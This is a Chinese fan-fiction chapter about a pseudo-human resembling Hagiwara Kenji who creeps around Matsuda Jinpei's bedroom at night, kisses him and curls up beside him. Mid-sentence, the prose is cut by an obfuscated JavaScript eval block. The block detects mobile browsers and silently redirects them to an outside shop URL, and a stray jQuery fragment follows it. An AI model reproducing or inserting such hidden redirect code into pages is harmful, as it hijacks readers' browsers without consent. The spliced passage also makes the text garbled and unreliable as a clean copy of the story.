伪人想开锁。

    可他还在纠结。

    蹲在抽屉前,半长发男人歪着头,黑暗中高饱和的紫眸死死盯着抽屉,试图用眼神把锁射下来。

    虽说锁孔小得连小拇指都塞不进去,但不知为何,伪人觉得就算抛开外力,只要自己足够努力,也是可以探进去把锁打开的。

    可那些模糊的、有关拆解和控制的记忆丢在了身体的某处,于他来说仿佛隔着一层磨砂玻璃的烛火,直到他站起身也无法触碰分毫。

    还不是很熟悉身体的伪人皱起眉。

    要不算了吧?人总不能藏什么能填饱他的东西在这个小小的抽屉里,而且把人惊醒不好。

    ——因为人看上去很累。

    视线从抽屉式挪开,决定不开锁的伪人却没去别的地方,比如还没进过的书房,而是在床头蹲下。

    躲进房间内的月色依旧温柔。伪人伸手去探,追逐月光的指尖刚好悬在卷发青年的眉骨上方,他停了一瞬,而后轻轻落下去。

    皮肤的触感柔软,底下的骨骼坚硬。

    伪人以指腹沿着眉骨的弧度缓慢滑动,从眉头到眉尾,再到颧骨。

    人类的体温就算在睡觉时略低,也比伪人热得多。摸着摸着,伪人只觉自己的指尖都被染上人类的温度,细腻的触感令他不想撤手。

    于是他顺着月光,在人类身上勾划起月亮,手指一路向下,最终滞在青年的胸膛上。

    听着对方皮肤下的血液奔流,从心脏出发流遍全身,再回到心脏,伪人的另一只手不由摸向自己的胸口。

    那里空荡荡的,什么都没有,跟人类的完全不同。

    唔……人在没有自己之前,是怎样的呢?

    心脏也在跳动吗?

    睡觉时也皱眉吗?

    也会在梦里叫别人的名字吗?

    盯着人类青年眼底青黑的眼圈,半长发男人忽觉眼眶发涩,像有水从胸口那个空洞里往上涌,一直涌到他的眼睛里。

    他眨了眨眼,正要挪开手去揉。可下一秒——

    他的手腕被握住了。

    *

    松田阵平睁开眼。

    视野里先是一片模糊的暗色,然后慢慢聚焦。等到彻底清醒,松田阵平就见半长发男人蹲在床边,紫色的眼对着他不停地眨。

    “萩?”他眉梢挑起一边,“怎么了?”

    “人!”

    见他醒了,伪人眼睛一亮,连忙指指自己的嘴,还没等松田阵平反应过来,就凑过去贴上他的嘴角。

    松田阵平一僵。

    像吸果冻那样,男人将他的下唇啜着,又用舌尖舔了舔,像是在确认味道,松田阵平没有躲。

    他任由对方在自己嘴角流连,垂眸看向男人专注的神情,被吵醒的烦躁情绪忽地平静下来,再感受着对方小心翼翼的态度,心一下子就软了。

    其实躺下这么久,他一直没怎么睡。

    似乎意识卡在苏醒和沉睡之间,闭上眼就是那些变成■的文字。好不容易要睡了,又被杂志上的伪人形象突脸吓醒,如此循环往复折腾了好几个来回。

    现在睁开眼,看自家的这只别提多顺眼了。

    更何况——

    “完全没攻击性啊,你。”

    端详片刻,松田阵平在男人的忐忑中板着脸,手却掀起被子,偏过头:

    “进来吧……还愣着做什么?”

    他戳上愣神的家

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611378|205513||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伙心口,恨铁不成钢地点了点,“下次要一起睡就提前说好,来回反悔也太逊了,知道了么?”

    被戳得有些痒,可伪人完全不在意,只听见青年说下次一起睡了。

    “好~”

    十分满足地钻进被窝,松田阵平怀里就多了一颗毛茸茸的脑袋。

    伪人的手臂缠上他的腰,腿缠住他的腿,整个人像一只八爪鱼一样将他裹住,还把脸埋进他的颈窝蹭了蹭,像松鼠抱橡果。

    松田阵平低头,看着对方头顶的发旋,手指插进那些半长的发丝里,轻轻梳理。

    发质很软,就像……

    “萩。”

    伪人抬起头,“松田?”

    松田阵平眼角一抽,“……没你的事了,快睡。”

    可恶,本来想借着旖旎的气氛喊喊他,试试能不能找回记忆的,这家伙的察言观色能力还没解锁吗?

    ……算了,毕竟总不能强迫人家熟悉他,还是早点睡吧。

    这么想着,松田阵平闭上眼,抿了抿干涩的嘴唇,准备酝酿睡意,然后——

    一股诡异的味道突然在舌尖爆开!

    苦涩的,黏腻的,像被人塞了一把碾碎的植物茎叶,还带着泥土的腥气,细品还有点甜。

    混合在一起的古怪味道冲击着他的味蕾,松田阵平瞬间睁开眼,半个身子直挺挺从床上竖了起来,表情从困倦变成困惑,从困惑变成难以置信。

    最终在判断出这明显不仅是冰箱里食物的味道后,松田阵平猛地扭头!

    ——他一把薅住了男人的衣领!

    松田阵平震怒:

    “萩原研二,你半夜不睡觉去偷吃什么了!”

    伪人:!